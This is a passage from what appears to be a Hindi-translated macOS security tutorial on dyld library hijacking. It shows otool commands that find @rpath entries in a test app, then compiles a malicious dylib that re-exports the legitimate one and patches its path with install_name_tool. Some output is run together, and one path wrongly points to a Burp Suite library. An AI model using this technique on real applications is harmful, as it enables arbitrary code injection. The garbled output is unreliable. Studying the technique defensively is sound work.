# Check where are the @rpath locationsotool-l"/Applications/VulnDyld.app/Contents/Resources/lib/binary"|grepLC_RPATH-A2cmdLC_RPATHcmdsize32path@loader_path/. (offset 12)--cmdLC_RPATHcmdsize32path@loader_path/../lib2 (offset 12)
# Check librareis loaded using @rapth and the used versionsotool-l"/Applications/VulnDyld.app/Contents/Resources/lib/binary"|grep"@rpath"-A3name@rpath/lib.dylib (offset 24)time stamp 2 Thu Jan 1 01:00:02 1970currentversion1.0.0compatibilityversion1.0.0# Check the versions
पिछली जानकारी के साथ, हम जानते हैं कि यह लोड की गई लाइब्रेरीज़ के हस्ताक्षर की जांच नहीं कर रहा है और यह एक लाइब्रेरी लोड करने की कोशिश कर रहा है:
तो, इसे हाईजैक करना संभव है! एक लाइब्रेरी बनाएं जो कुछ मनमाने कोड को निष्पादित करती है और वैध लाइब्रेरी के समान कार्यक्षमताओं को फिर से निर्यात करके निर्यात करती है। और याद रखें कि इसे अपेक्षित संस्करणों के साथ संकलित करें:
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
लाइब्रेरी में बनाए गए पुनः निर्यात पथ लोडर के सापेक्ष होते हैं, आइए इसे निर्यात करने के लिए लाइब्रेरी के लिए एक पूर्ण पथ में बदलते हैं:
#Check relativeotool-l/tmp/lib.dylib|grepREEXPORT-A2cmdLC_REEXPORT_DYLIBcmdsize48name@rpath/libjli.dylib (offset 24)#Change the location of the library absolute to absolute pathinstall_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check againotool-l/tmp/lib.dylib|grepREEXPORT-A2cmdLC_REEXPORT_DYLIBcmdsize128name/Applications/BurpSuiteProfessional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
यदि आप अप्रत्याशित बाइनरी में लाइब्रेरी इंजेक्ट करने की योजना बना रहे हैं, तो आप यह पता लगाने के लिए इवेंट संदेशों की जांच कर सकते हैं कि प्रक्रिया के अंदर लाइब्रेरी कब लोड होती है (इस मामले में printf और /bin/bash निष्पादन को हटा दें)।